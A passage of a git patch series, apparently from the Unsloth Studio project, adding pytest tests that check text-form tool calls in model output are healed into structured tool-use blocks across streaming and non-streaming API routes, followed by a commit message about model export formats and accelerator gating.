+        monkeypatch.setattr(inf_mod, "nonstreaming_client", lambda: client)
+        response = await _anthropic_passthrough_non_streaming(
+            _llama_backend(),
+            [{"role": "user", "content": "hi"}],
+            [LOOKUP_TOOL],
+            0.7,
+            0.95,
+            None,
+            256,
+            "msg_test",
+            "gguf",
+            nudge_tool_calls = nudge,
+        )
+        return client, json.loads(response.body)
+
+    def test_retry_recovers_tool_use(self, monkeypatch):
+        async def _run():
+            client, data = await self._drive(
+                monkeypatch,
+                [_upstream_message(GARBAGE_SIGNAL), _upstream_message(LOOKUP_XML)],
+                nudge = True,
+            )
+            assert len(client.posts) == 2
+            (block,) = [b for b in data["content"] if b["type"] == "tool_use"]
+            assert block["name"] == "lookup"
+            assert data["stop_reason"] == "tool_use"
+
+        asyncio.run(_run())
+
+    def test_healed_tool_use_precedes_trailing_text(self, monkeypatch):
+        async def _run():
+            _, data = await self._drive(monkeypatch, [_upstream_message(f"{LOOKUP_XML} done")])
+            assert [block["type"] for block in data["content"]] == ["tool_use", "text"]
+            assert data["content"][1]["text"] == "done"
+
+        asyncio.run(_run())
+
+    def test_default_off(self, monkeypatch):
+        async def _run():
+            client, _ = await self._drive(monkeypatch, [_upstream_message(GARBAGE_SIGNAL)])
+            assert len(client.posts) == 1
+
+        asyncio.run(_run())
+
+
+class TestAnthropicPassthroughHealingText:
+    """Non-streaming Anthropic passthrough must relay unpromoted (undeclared)
+    text-form calls as text, matching the OpenAI passthrough contract. Once
+    heal_openai_message promotes the declared call it span-trims only that
+    markup and deliberately leaves the undeclared bytes in the content; the
+    legacy blanket _TOOL_XML_RE strip must not delete them.
+    """
+
+    async def _drive(self, monkeypatch, upstream):
+        import routes.inference as inf_mod
+        from routes.inference import _anthropic_passthrough_non_streaming
+
+        client = ScriptedClient([upstream])
+        monkeypatch.setattr(inf_mod, "nonstreaming_client", lambda: client)
+        response = await _anthropic_passthrough_non_streaming(
+            _llama_backend(),
+            [{"role": "user", "content": "hi"}],
+            [LOOKUP_TOOL],
+            0.7,
+            0.95,
+            None,
+            256,
+            "msg_test",
+            "gguf",
+        )
+        return json.loads(response.body)
+
+    def test_mixed_declared_and_undeclared_relays_undeclared_as_text(self, monkeypatch):
+        async def _run():
+            content = f"Running now. {LOOKUP_XML} then {XML_UNDECLARED} done."
+            data = await self._drive(monkeypatch, _upstream_message(content))
+            # Declared lookup call is promoted into a structured tool_use block.
+            (tool_use,) = [b for b in data["content"] if b["type"] == "tool_use"]
+            assert tool_use["name"] == "lookup"
+            text = " ".join(b["text"] for b in data["content"] if b["type"] == "text")
+            assert XML_UNDECLARED in text
+            assert "Running now." in text and "done." in text
+            assert LOOKUP_XML not in text
+
+        asyncio.run(_run())
+
+
+class TestAnthropicEmitterHealing:
+    def _events(
+        self,
+        emitter,
+        chunks,
+        finish = True,
+    ):
+        lines = []
+        for chunk in chunks:
+            lines += emitter.feed_chunk(chunk)
+        if finish:
+            lines += emitter.finish()
+        return [json.loads(ln.split("data: ", 1)[1]) for ln in lines if "data: " in ln]
+
+    def _emitter(
+        self,
+        allowed = ("lookup",),
+        **kwargs,
+    ):
+        from core.inference.anthropic_compat import AnthropicPassthroughEmitter
+
+        emitter = AnthropicPassthroughEmitter()
+        emitter.enable_healing(set(allowed), **kwargs)
+        return emitter
+
+    def _chunk(
+        self,
+        content = None,
+        tool_calls = None,
+        finish_reason = None,
+    ):
+        delta = {}
+        if content is not None:
+            delta["content"] = content
+        if tool_calls is not None:
+            delta["tool_calls"] = tool_calls
+        return {"choices": [{"delta": delta, "finish_reason": finish_reason}]}
+
+    def test_xml_becomes_tool_use_block_and_stop_reason(self):
+        events = self._events(
+            self._emitter(),
+            [
+                self._chunk(content = LOOKUP_XML),
+                self._chunk(finish_reason = "stop"),
+            ],
+        )
+        starts = [e for e in events if e.get("type") == "content_block_start"]
+        (tool_start,) = [e for e in starts if e["content_block"]["type"] == "tool_use"]
+        assert tool_start["content_block"]["name"] == "lookup"
+        assert tool_start["content_block"]["id"].startswith("toolu_")
+        (args,) = [
+            e["delta"]["partial_json"]
+            for e in events
+            if e.get("type") == "content_block_delta" and e["delta"]["type"] == "input_json_delta"
+        ]
+        assert json.loads(args) == {"q": "x"}
+        (message_delta,) = [e for e in events if e.get("type") == "message_delta"]
+        assert message_delta["delta"]["stop_reason"] == "tool_use"
+
+    def test_mid_block_signal_closes_text_block_first(self):
+        events = self._events(
+            self._emitter(),
+            [
+                self._chunk(content = f"Let me check {LOOKUP_XML}"),
+                self._chunk(finish_reason = "stop"),
+            ],
+        )
+        kinds = [
+            (e["type"], (e.get("content_block") or e.get("delta") or {}).get("type"))
+            for e in events
+            if e["type"].startswith("content_block")
+        ]
+        # text opens, streams the safe prefix, closes; then the tool_use block.
+        assert kinds[0] == ("content_block_start", "text")
+        assert kinds[1] == ("content_block_delta", "text_delta")
+        assert kinds[2] == ("content_block_stop", None)
+        assert kinds[3] == ("content_block_start", "tool_use")
+        texts = [
+            e["delta"]["text"]
+            for e in events
+            if e.get("type") == "content_block_delta" and e["delta"]["type"] == "text_delta"
+        ]
+        assert "".join(texts) == "Let me check "
+
+    def test_false_alarm_streams_as_text(self):
+        events = self._events(
+            self._emitter(),
+            [self._chunk(content = "use the <div> tag"), self._chunk(finish_reason = "stop")],
+        )
+        texts = [
+            e["delta"]["text"]
+            for e in events
+            if e.get("type") == "content_block_delta" and e["delta"]["type"] == "text_delta"
+        ]
+        assert "".join(texts) == "use the <div> tag"
+        (message_delta,) = [e for e in events if e.get("type") == "message_delta"]
+        assert message_delta["delta"]["stop_reason"] == "end_turn"
+
+    def test_signal_split_across_chunks(self):
+        events = self._events(
+            self._emitter(),
+            [
+                self._chunk(content = "<tool"),
+                self._chunk(content = '_call>{"name":"lookup","arguments":{}}'),
+                self._chunk(finish_reason = "stop"),
+            ],
+        )
+        starts = [e for e in events if e.get("type") == "content_block_start"]
+        assert [e["content_block"]["type"] for e in starts] == ["tool_use"]
+        texts = [
+            e
+            for e in events
+            if e.get("type") == "content_block_delta" and e["delta"]["type"] == "text_delta"
+        ]
+        assert texts == []
+
+    def test_max_tokens_wins_over_healed_stop_reason(self):
+        events = self._events(
+            self._emitter(),
+            [self._chunk(content = LOOKUP_XML), self._chunk(finish_reason = "length")],
+        )
+        (message_delta,) = [e for e in events if e.get("type") == "message_delta"]
+        assert message_delta["delta"]["stop_reason"] == "max_tokens"
+
+    def test_structured_deltas_disable_healing_and_flush(self):
+        structured = [
+            {
+                "index": 0,
+                "id": "call_up",
+                "function": {"name": "lookup", "arguments": "{}"},
+            }
+        ]
+        events = self._events(
+            self._emitter(),
+            [
+                self._chunk(content = "held <tool"),
+                self._chunk(tool_calls = structured),
+                self._chunk(finish_reason = "tool_calls"),
+            ],
+        )
+        texts = [
+            e["delta"]["text"]
+            for e in events
+            if e.get("type") == "content_block_delta" and e["delta"]["type"] == "text_delta"
+        ]
+        assert "".join(texts) == "held <tool"  # nothing swallowed
+        starts = [e for e in events if e.get("type") == "content_block_start"]
+        assert [e["content_block"]["type"] for e in starts] == ["text", "tool_use"]
+
+    def test_disable_parallel_caps_healed_calls(self):
+        two = LOOKUP_XML + '<tool_call>{"name":"lookup","arguments":{"q":"y"}}</tool_call>'
+        events = self._events(
+            self._emitter(disable_parallel_tool_use = True),
+            [self._chunk(content = two), self._chunk(finish_reason = "stop")],
+        )
+        starts = [
+            e
+            for e in events
+            if e.get("type") == "content_block_start" and e["content_block"]["type"] == "tool_use"
+        ]
+        assert len(starts) == 1
+
+    def test_disable_parallel_drops_native_after_healed(self):
+        # A healed call consumed the single allowed slot; a later native
+        # structured call (index 0, so it survives the caller's chunk-level
+        # cap) must not open a second tool_use block.
+        structured = [
+            {
+                "index": 0,
+                "id": "call_up",
+                "function": {"name": "lookup", "arguments": "{}"},
+            }
+        ]
+        events = self._events(
+            self._emitter(disable_parallel_tool_use = True),
+            [
+                self._chunk(content = LOOKUP_XML),
+                self._chunk(tool_calls = structured),
+                self._chunk(finish_reason = "tool_calls"),
+            ],
+        )
+        starts = [
+            e
+            for e in events
+            if e.get("type") == "content_block_start" and e["content_block"]["type"] == "tool_use"
+        ]
+        assert len(starts) == 1
+
+    def test_no_healing_means_verbatim_text(self):
+        from core.inference.anthropic_compat import AnthropicPassthroughEmitter
+
+        emitter = AnthropicPassthroughEmitter()  # enable_healing never called
+        events = self._events(
+            emitter,
+            [self._chunk(content = LOOKUP_XML), self._chunk(finish_reason = "stop")],
+        )
+        texts = [
+            e["delta"]["text"]
+            for e in events
+            if e.get("type") == "content_block_delta" and e["delta"]["type"] == "text_delta"
+        ]
+        assert "".join(texts) == LOOKUP_XML
+
+
+class TestAnthropicNonStreamingRoute:
+    async def _drive(
+        self,
+        monkeypatch,
+        bodies,
+        auto_heal = None,
+        tools = None,
+        tool_choice = "auto",
+    ):
+        import routes.inference as inf_mod
+        from routes.inference import _anthropic_passthrough_non_streaming
+
+        client = ScriptedClient(bodies)
+        monkeypatch.setattr(inf_mod, "nonstreaming_client", lambda: client)
+        response = await _anthropic_passthrough_non_streaming(
+            _llama_backend(),
+            [{"role": "user", "content": "hi"}],
+            tools if tools is not None else [LOOKUP_TOOL],
+            0.7,
+            0.95,
+            None,
+            256,
+            "msg_test",
+            "gguf",
+            tool_choice = tool_choice,
+            auto_heal_tool_calls = auto_heal,
+        )
+        return client, json.loads(response.body)
+
+    def test_promotes_xml_to_tool_use(self, monkeypatch):
+        async def _run():
+            _, data = await self._drive(monkeypatch, [_upstream_message(LOOKUP_XML)])
+            (block,) = [b for b in data["content"] if b["type"] == "tool_use"]
+            assert block["name"] == "lookup"
+            assert block["input"] == {"q": "x"}
+            assert data["stop_reason"] == "tool_use"
+            assert not any(b["type"] == "text" for b in data["content"])
+
+        asyncio.run(_run())
+
+    def test_opt_out_keeps_legacy_strip(self, monkeypatch):
+        async def _run():
+            _, data = await self._drive(
+                monkeypatch, [_upstream_message(f"plan {LOOKUP_XML}")], auto_heal = False
+            )
+            assert data["stop_reason"] == "end_turn"
+            (block,) = data["content"]
+            assert block["type"] == "text"
+            assert block["text"] == "plan"  # XML stripped, nothing promoted
+
+        asyncio.run(_run())
+
+    def test_undeclared_tool_not_promoted(self, monkeypatch):
+        async def _run():
+            xml = '<tool_call>{"name":"rogue","arguments":{}}</tool_call>'
+            _, data = await self._drive(monkeypatch, [_upstream_message(xml)])
+            assert data["stop_reason"] == "end_turn"
+            assert not any(b["type"] == "tool_use" for b in data["content"])
+            # Healing preserves what it does not promote: the undeclared call
+            # reaches the client as text instead of being silently stripped.
+            (text_block,) = [b for b in data["content"] if b["type"] == "text"]
+            assert text_block["text"] == xml
+
+        asyncio.run(_run())
+
+    def test_mixed_undeclared_text_preserved_after_heal(self, monkeypatch):
+        async def _run():
+            # Declared call promoted to tool_use; the undeclared call's markup
+            # stays in the text block (the legacy strip must not run after a
+            # span-exact heal), matching the OpenAI passthrough.
+            rogue = '<tool_call>{"name":"rogue","arguments":{}}</tool_call>'
+            _, data = await self._drive(monkeypatch, [_upstream_message(f"{LOOKUP_XML} {rogue}")])
+            (tool_block,) = [b for b in data["content"] if b["type"] == "tool_use"]
+            assert tool_block["name"] == "lookup"
+            (text_block,) = [b for b in data["content"] if b["type"] == "text"]
+            assert rogue in text_block["text"]
+            assert data["stop_reason"] == "tool_use"
+
+        asyncio.run(_run())
+
+    def test_length_beats_tool_use(self, monkeypatch):
+        async def _run():
+            _, data = await self._drive(
+                monkeypatch, [_upstream_message(LOOKUP_XML, finish_reason = "length")]
+            )
+            assert data["stop_reason"] == "max_tokens"
+            assert any(b["type"] == "tool_use" for b in data["content"])
+
+        asyncio.run(_run())
+
+    def test_tool_choice_none_keeps_legacy_strip(self, monkeypatch):
+        async def _run():
+            # Anthropic {"type": "none"} arrives here converted to "none":
+            # the request forbade tool calls, so nothing is promoted and the
+            # legacy XML strip applies as before healing existed.
+            _, data = await self._drive(
+                monkeypatch,
+                [_upstream_message(f"plan {LOOKUP_XML}")],
+                tool_choice = "none",
+            )
+            assert data["stop_reason"] == "end_turn"
+            (block,) = data["content"]
+            assert block["type"] == "text"
+            assert block["text"] == "plan"
+
+        asyncio.run(_run())
+
+
+class TestOpenaiStreamingRoute:
+    def test_heals_streamed_xml(self, monkeypatch):
+        async def _run():
+            pieces = ["<tool_call>", '{"name":"lookup",', '"arguments":{"q":"x"}}', "</tool_call>"]
+            lines = [
+                'data: {"id":"c1","model":"gguf","created":1,"choices":[{"index":0,"delta":{"content":%s}}]}'
+                % json.dumps(p)
+                for p in pieces
+            ]
+            lines += [
+                'data: {"id":"c1","choices":[{"index":0,"delta":{},"finish_reason":"stop"}]}',
+                "data: [DONE]",
+            ]
+            chunks = await _drive_stream(monkeypatch, _payload(), lines)
+            payloads = _stream_payloads(chunks)
+            tool_deltas = [
+                tc
+                for p in payloads
+                for c in p.get("choices", [])
+                for tc in (c.get("delta") or {}).get("tool_calls") or []
+            ]
+            (call,) = tool_deltas
+            assert call["function"]["name"] == "lookup"
+            assert json.loads(call["function"]["arguments"]) == {"q": "x"}
+            finishes = [
+                c["finish_reason"]
+                for p in payloads
+                for c in p.get("choices", [])
+                if c.get("finish_reason")
+            ]
+            assert finishes == ["tool_calls"]
+            # None of the XML leaked as visible content.
+            text = "".join(
+                (c.get("delta") or {}).get("content") or ""
+                for p in payloads
+                for c in p.get("choices", [])
+            )
+            assert "<tool_call>" not in text
+            assert chunks[-1] == "data: [DONE]\n\n"
+
+        asyncio.run(_run())
+
+    def test_parallel_cap_drops_native_after_healed(self, monkeypatch):
+        async def _run():
+            # parallel_tool_calls=false: a healed call consumed the single
+            # allowed slot, and the upstream SSE cap keeps native index 0, so
+            # the route must drop the later native call itself.
+            xml = '<tool_call>{"name":"lookup","arguments":{"q":"x"}}</tool_call>'
+            native = (
+                'data: {"id":"c1","choices":[{"index":0,"delta":{"tool_calls":'
+                '[{"index":0,"id":"call_up","type":"function","function":'
+                '{"name":"lookup","arguments":"{}"}}]}}]}'
+            )
+            lines = [
+                'data: {"id":"c1","model":"gguf","created":1,"choices":'
+                '[{"index":0,"delta":{"content":%s}}]}' % json.dumps(xml),
+                native,
+                'data: {"id":"c1","choices":[{"index":0,"delta":{},"finish_reason":"tool_calls"}]}',
+                "data: [DONE]",
+            ]
+            chunks = await _drive_stream(monkeypatch, _payload(parallel_tool_calls = False), lines)
+            payloads = _stream_payloads(chunks)
+            tool_deltas = [
+                tc
+                for p in payloads
+                for c in p.get("choices", [])
+                for tc in (c.get("delta") or {}).get("tool_calls") or []
+            ]
+            (call,) = tool_deltas
+            assert call["id"] == "call_0"  # the healed call; native was dropped
+
+        asyncio.run(_run())
+
+    def test_false_alarm_text_flushes(self, monkeypatch):
+        async def _run():
+            lines = [
+                'data: {"id":"c1","choices":[{"index":0,"delta":{"content":"use the <div> tag"}}]}',
+                'data: {"id":"c1","choices":[{"index":0,"delta":{},"finish_reason":"stop"}]}',
+                "data: [DONE]",
+            ]
+            chunks = await _drive_stream(monkeypatch, _payload(), lines)
+            payloads = _stream_payloads(chunks)
+            text = "".join(
+                (c.get("delta") or {}).get("content") or ""
+                for p in payloads
+                for c in p.get("choices", [])
+            )
+            assert text == "use the <div> tag"
+            finishes = [
+                c["finish_reason"]
+                for p in payloads
+                for c in p.get("choices", [])
+                if c.get("finish_reason")
+            ]
+            assert finishes == ["stop"]
+
+        asyncio.run(_run())
+
+    def test_incomplete_xml_healed_at_done(self, monkeypatch):
+        async def _run():
+            # No close tag and no finish chunk: healed at the [DONE] boundary,
+            # synthetic finish must say tool_calls.
+            lines = [
+                'data: {"id":"c1","choices":[{"index":0,"delta":{"content":"<tool_call>{\\"name\\":\\"lookup\\",\\"arguments\\":{}}"}}]}',
+                "data: [DONE]",
+            ]
+            chunks = await _drive_stream(monkeypatch, _payload(), lines)
+            payloads = _stream_payloads(chunks)
+            tool_deltas = [
+                tc
+                for p in payloads
+                for c in p.get("choices", [])
+                for tc in (c.get("delta") or {}).get("tool_calls") or []
+            ]
+            assert len(tool_deltas) == 1
+            finishes = [
+                c["finish_reason"]
+                for p in payloads
+                for c in p.get("choices", [])
+                if c.get("finish_reason")
+            ]
+            assert finishes == ["tool_calls"]
+
+        asyncio.run(_run())
+
+    def test_structured_upstream_calls_relay_verbatim(self, monkeypatch):
+        async def _run():
+            line = (
+                'data: {"id":"c1","choices":[{"index":0,"delta":{"tool_calls":'
+                '[{"index":0,"id":"call_up","type":"function","function":'
+                '{"name":"lookup","arguments":"{}"}}]}}]}'
+            )
+            lines = [
+                line,
+                'data: {"id":"c1","choices":[{"index":0,"delta":{},"finish_reason":"tool_calls"}]}',
+                "data: [DONE]",
+            ]
+            chunks = await _drive_stream(monkeypatch, _payload(), lines)
+            assert chunks[0] == line + "\n\n"  # byte-for-byte relay
+
+        asyncio.run(_run())
diff --git a/studio/backend/tests/test_responses_tool_passthrough.py b/studio/backend/tests/test_responses_tool_passthrough.py
index 4147746b54..a7ceb49ed9 100644
--- a/studio/backend/tests/test_responses_tool_passthrough.py
+++ b/studio/backend/tests/test_responses_tool_passthrough.py
@@ -1986,3 +1986,177 @@ class TestTranslatedMessagesValidate:
         msgs = _normalise_responses_input(payload)
         for m in msgs:
             ChatMessage(**m.model_dump(exclude_none = True))
+
+
+# =====================================================================
+# Streaming passthrough healing — text-form calls promoted in order
+# =====================================================================
+
+
+class TestResponsesStreamHealing:
+    """Route-level healing on the /v1/responses stream: text-form tool calls
+    are promoted through the same per-call item state machinery as structured
+    deltas, and healer events keep their order (text around a healed call must
+    not move relative to the function_call item)."""
+
+    _XML = '<tool_call>{"name":"lookup","arguments":{"q":"x"}}</tool_call>'
+    _TOOL = {"type": "function", "name": "lookup", "parameters": {"type": "object"}}
+
+    @staticmethod
+    def _ordered_events(lines):
+        events = []
+        for line in lines:
+            if not line.startswith("event: "):
+                continue
+            name, _, rest = line.partition("\n")
+            payload = json.loads(rest.split("data: ", 1)[1].strip())
+            events.append((name[len("event: ") :], payload))
+        return events
+
+    def _run_stream(self, monkeypatch, content, **payload_kwargs):
+        TestResponsesStreamAdapter._install_stream_mock(
+            monkeypatch, [{"choices": [{"delta": {"content": content}}]}]
+        )
+        payload = ResponsesRequest(input = "hi", stream = True, tools = [self._TOOL], **payload_kwargs)
+        messages = [ChatMessage(role = "user", content = "hi")]
+
+        async def run():
+            response = await _responses_stream(
+                payload, messages, TestResponsesStreamAdapter._Request()
+            )
+            return await TestResponsesStreamAdapter._collect(response)
+
+        return self._ordered_events(asyncio.run(run()))
+
+    def test_text_around_healed_call_keeps_order(self, monkeypatch):
+        events = self._run_stream(monkeypatch, f"before {self._XML} after.")
+        pos_before = pos_item = pos_after = None
+        for i, (name, payload) in enumerate(events):
+            if name == "response.output_text.delta":
+                if "before" in payload["delta"] and pos_before is None:
+                    pos_before = i
+                if "after" in payload["delta"]:
+                    pos_after = i
+            if (
+                name == "response.output_item.added"
+                and payload["item"]["type"] == "function_call"
+                and pos_item is None
+            ):
+                pos_item = i
+                assert payload["item"]["name"] == "lookup"
+        assert pos_before is not None and pos_item is not None and pos_after is not None
+        assert pos_before < pos_item < pos_after
+
+    def test_call_before_trailing_text_claims_lower_output_index(self, monkeypatch):
+        events = self._run_stream(monkeypatch, f"{self._XML} done.")
+        item_added = [
+            (name, payload) for name, payload in events if name == "response.output_item.added"
+        ]
+        # The call came first in the model output, so its item is added first
+        # and claims the lower output_index; the trailing text's message item
+        # follows.
+        assert [payload["item"]["type"] for _, payload in item_added] == [
+            "function_call",
+            "message",
+        ]
+        call_idx = item_added[0][1]["output_index"]
+        msg_idx = item_added[1][1]["output_index"]
+        assert call_idx < msg_idx
+        text = "".join(
+            payload["delta"] for name, payload in events if name == "response.output_text.delta"
+        )
+        assert "done." in text
+        assert "<tool_call>" not in text
+
+    def test_tool_choice_none_streams_raw_text(self, monkeypatch):
+        events = self._run_stream(monkeypatch, self._XML, tool_choice = "none")
+        assert not any(
+            payload["item"]["type"] == "function_call"
+            for name, payload in events
+            if name == "response.output_item.added"
+        )
+        text = "".join(
+            payload["delta"] for name, payload in events if name == "response.output_text.delta"
+        )
+        assert text == self._XML
+
+    def test_healed_call_splits_message_items(self, monkeypatch):
+        # Text on both sides of a healed call becomes TWO message items: the
+        # healed function_call closes the first, trailing text opens a fresh
+        # one with a later output index (native Responses stream shape).
+        events = self._run_stream(monkeypatch, f"before {self._XML} after.")
+        added = [
+            (payload["output_index"], payload["item"]["type"], payload["item"].get("id"))
+            for name, payload in events
+            if name == "response.output_item.added"
+        ]
+        assert [item_type for _, item_type, _ in added] == [
+            "message",
+            "function_call",
+            "message",
+        ]
+        assert [idx for idx, _, _ in added] == sorted(idx for idx, _, _ in added)
+        assert added[0][2] != added[2][2]  # distinct message item ids
+        # Text deltas attribute to their OWN message item.
+        deltas = [
+            (payload["item_id"], payload["delta"])
+            for name, payload in events
+            if name == "response.output_text.delta"
+        ]
+        assert [d for i, d in deltas if i == added[0][2]] == ["before "]
+        assert [d for i, d in deltas if i == added[2][2]] == [" after."]
+        # The completed snapshot lists all three items with per-item text.
+        completed = [payload for name, payload in events if name == "response.completed"]
+        output = completed[0]["response"]["output"]
+        assert [item["type"] for item in output] == ["message", "function_call", "message"]
+        assert output[0]["content"][0]["text"] == "before "
+        assert output[2]["content"][0]["text"] == " after."
+
+    def test_parallel_cap_drops_native_after_healed(self, monkeypatch):
+        # parallel_tool_calls=false: a healed call consumed the single allowed
+        # slot; a later native structured call (index 0, so it survives
+        # _drop_parallel_tool_call_deltas) must not open a second
+        # function_call item.
+        TestResponsesStreamAdapter._install_stream_mock(
+            monkeypatch,
+            [
+                {"choices": [{"delta": {"content": self._XML}}]},
+                {
+                    "choices": [
+                        {
+                            "delta": {
+                                "tool_calls": [
+                                    {
+                                        "index": 0,
+                                        "id": "call_up",
+                                        "function": {"name": "lookup", "arguments": "{}"},
+                                    }
+                                ]
+                            }
+                        }
+                    ]
+                },
+            ],
+        )
+        payload = ResponsesRequest(
+            input = "hi",
+            stream = True,
+            tools = [self._TOOL],
+            parallel_tool_calls = False,
+        )
+        messages = [ChatMessage(role = "user", content = "hi")]
+
+        async def run():
+            response = await _responses_stream(
+                payload, messages, TestResponsesStreamAdapter._Request()
+            )
+            return await TestResponsesStreamAdapter._collect(response)
+
+        events = self._ordered_events(asyncio.run(run()))
+        calls = [
+            payload
+            for name, payload in events
+            if name == "response.output_item.added" and payload["item"]["type"] == "function_call"
+        ]
+        assert len(calls) == 1
+        assert calls[0]["item"]["name"] == "lookup"
diff --git a/studio/backend/tests/test_tool_call_parser_strict.py b/studio/backend/tests/test_tool_call_parser_strict.py
index 931d8a705d..39fdd151be 100644
--- a/studio/backend/tests/test_tool_call_parser_strict.py
+++ b/studio/backend/tests/test_tool_call_parser_strict.py
@@ -71,6 +71,28 @@ class TestFunctionStyleTrailingText:
         call = _only(text)
         assert call == {"name": "python", "arguments": {"code": 'print("</function>")'}}
 
+    def test_closed_function_with_trailing_prose_heal_path(self):
+        # Regression: the heal / finalize path (allow_incomplete=True) used to fold
+        # </parameter></function> and the trailing prose into the argument and drop
+        # the prose from visible content. It must now match the strict path -- keep a
+        # clean argument and leave the trailing prose outside the call span.
+        text = "<function=web_search><parameter=query>cats</parameter></function> trailing words"
+        calls = parse_tool_calls_from_text(text, allow_incomplete = True)
+        assert len(calls) == 1
+        fn = calls[0]["function"]
+        assert fn["name"] == "web_search"
+        assert json.loads(fn["arguments"]) == {"query": "cats"}
+        # The trailing prose sits outside the removed span, so it stays visible.
+        from core.tool_healing import (
+            parse_tool_calls_from_text as _parse_with_spans,
+        )
+
+        _calls, spans = _parse_with_spans(text, allow_incomplete = True, with_spans = True)
+        out = text
+        for s, e in sorted(spans, reverse = True):
+            out = out[:s] + out[e:]
+        assert out == " trailing words"
+
     def test_incomplete_function_without_close_is_still_rejected(self):
         text = "<function=web_search><parameter=query>weather london"
         assert parse_tool_calls_from_text(text, allow_incomplete = False) == []
@@ -160,3 +182,18 @@ class TestHealingPathUnaffected:
         calls = parse_tool_calls_from_text(text, allow_incomplete = True)
         assert len(calls) == 1
         assert calls[0]["function"]["name"] == "web_search"
+
+    def test_closed_function_call_keeps_trailing_prose_out_of_arguments(self):
+        # allow_incomplete exists for truncated output; a call that DID close
+        # must parse identically to strict mode, leaving prose after
+        # </function> out of the last parameter and out of the removal span.
+        from core.tool_healing import parse_tool_calls_from_text as parse_with_spans
+
+        text = "<function=web_search><parameter=query>cats</parameter></function> trailing"
+        calls, spans = parse_with_spans(text, allow_incomplete = True, with_spans = True)
+        (call,) = calls
+        assert json.loads(call["function"]["arguments"]) == {"query": "cats"}
+        (span,) = spans
+        assert text[span[0] : span[1]] == (
+            "<function=web_search><parameter=query>cats</parameter></function>"
+        )

From 026141a4a4026aa4a9bdf6d8752d8d3515f388b9 Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Fri, 3 Jul 2026 08:25:10 -0700
Subject: [PATCH 187/306] Studio: multi-select export formats, portable
 FP8/INT8, GGUF LoRA, and source parity (#6767)

* Studio: expose full compressed-tensors scheme set in an export formats dropdown

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: multi-select export formats, portable torchao FP8/INT8, GGUF LoRA, source parity

Export page overhaul on top of the formats dropdown:

- Unify merged precision into one sorted multi-select list (16-bit first, then
  8-bit, then 4-bit). Drop "vLLM" from labels, add INT8 (W8A8), INT8 (W8A16),
  INT4 (W4A16), MXFP4, MXFP8. Quick formats render as toggle pills; the rest live
  in a multi-select "More formats" dropdown, so several formats export in one run.
- Add a portable torchao FP8/INT8 save path (Float8WeightOnlyConfig /
  Int8WeightOnlyConfig) that needs no NVIDIA GPU to produce and loads in vLLM.
  FP8 serializes to safetensors, INT8 to .bin. Wired into save_pretrained_merged
  and push_to_hub_merged via a TORCHAO_EXPORT_SCHEMES registry and
  _unsloth_save_torchao, parallel to the compressed-tensors path.
- Hide NVIDIA-only compressed-tensors formats when no NVIDIA GPU is present; keep
  16-bit and portable FP8/INT8. The backend also rejects a compressed request on
  non-NVIDIA hardware so it stays authoritative.
- Relax merged export to non-PEFT models so Local Model and Hugging Face sources
  get the same 16-bit / compressed / portable options.
- GGUF: send the whole quant list in one call (merge once, quantize many).
- LoRA: add a GGUF adapter option (convert_lora_to_gguf.py) with an outtype
  select (f16/bf16/f32/q8_0/auto), alongside the safetensors adapter.
- Thread the new fields through models, routes, orchestrator, and worker; extend
  the export tests.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: gate export by accelerator with a torch-aware reason; fix export save dir naming

Export runs through Unsloth, which requires a compute accelerator (NVIDIA/AMD/Intel
GPU or Apple MLX) and has no CPU code path, so a bare-CPU host cannot export even
with PyTorch installed. Add export_capability() in utils/hardware that reports
export_supported plus a precise reason so the UI stops showing a generic "no GPU":

  - pytorch_not_installed: a --no-torch install (even a physical GPU is unusable)
  - no_accelerator: PyTorch present but no supported accelerator (bare CPU)
  - mlx_unavailable: Apple Silicon where the MLX stack is missing or too old

Expose the fields on /api/system/hardware and /api/system, and guard the mutating
export routes (load-checkpoint, export/merged|base|gguf|lora) with HTTP 400 and the
reason, leaving read-only endpoints usable so the Export page still renders.

Make core/export/export.py import without PyTorch and without a usable accelerator
(the Unsloth import is caught) so the export worker degrades to a clear message
instead of crashing at import.

Frontend: keep /export reachable on chat-only hosts and gray out the method and
format options with the backend reason (Alert plus disabled MethodPicker) instead
of silently redirecting to /chat, so users see why export is unavailable.

Also fix the export save directory producing "model/null" for Local Model and
Hugging Face sources that have no run/checkpoint, naming the folder from the model id.

* CI: validate Studio export capability gating on Linux, Windows and macOS

Add a small pytest matrix that runs studio/backend/tests/test_export_capability.py
on ubuntu-latest, windows-latest and macos-latest. It confirms, on each real OS,
that hardware.export_capability() reports the right decision and reason
(pytorch_not_installed, no_accelerator, or mlx_unavailable) and that the export
backend imports without PyTorch and degrades to a clear message instead of crashing.

Hosted runners have no GPU/MLX, so this covers the "export unavailable, here is why"
path a Mac/Windows user without an accelerator sees; a real accelerator export is
validated separately. The job installs only a CPU PyTorch plus the backend import
deps (no unsloth, triton, or llama.cpp), so it runs in seconds with no GPU.

* Studio export: address Codex review (source-aware gating, GGUF LoRA token/MLX/guard)

Frontend (export-page):
- Gate LoRA and quantized-model restrictions on the active source. isAdapter /
  isQuantized come from the selected checkpoint; in Local Model / Hugging Face
  ("model") source mode they were stale, so LoRA stayed wrongly enabled for a
  direct base model (backend then rejects "No adapter to export") and a stale
  "quantized" flag disabled every method for an unrelated, exportable model. Add
  effectiveIsAdapter / effectiveIsQuantized (false outside checkpoint mode) and use
  them in the method-reset effect and the MethodPicker disabled state.
- Hide the GGUF LoRA option on a macOS/MLX host (the backend rejects GGUF LoRA on
  MLX), so users no longer pick it, wait through the load, and always fail. Disable
  the "GGUF adapter" button on a Mac host and never send loraGguf there.

Backend (core/export/export.py):
- Pass the HF token into the GGUF LoRA conversion (save_pretrained_gguf), so a
  gated/private base model's config fetch in convert_lora_to_gguf.py is
  authenticated; without it the load can succeed but the conversion fails.
- Guard the save_pretrained_gguf capability check with getattr so an older Unsloth
  model that lacks the method returns the clean "not supported" message instead of
  an AttributeError that surfaces as a generic 500.

* Studio export: address 2nd Codex review (CI index, empty merged, test import)

- studio-export-capability-ci.yml: add --extra-index-url https://pypi.org/simple to
  the torch install so torch's transitive deps still resolve; --index-url alone
  replaces PyPI with only the CPU wheel index, which does not serve all of them.
- export-page handleStart: reject an empty merged selection (mirrors canExport), so
  clicking the panel's Start button with every precision pill deselected no longer
  submits mergedSelections: [] and launches an unintended default 16-bit export.
- test_export_imatrix_compressed: the torchao-registry test now reads unsloth/save.py
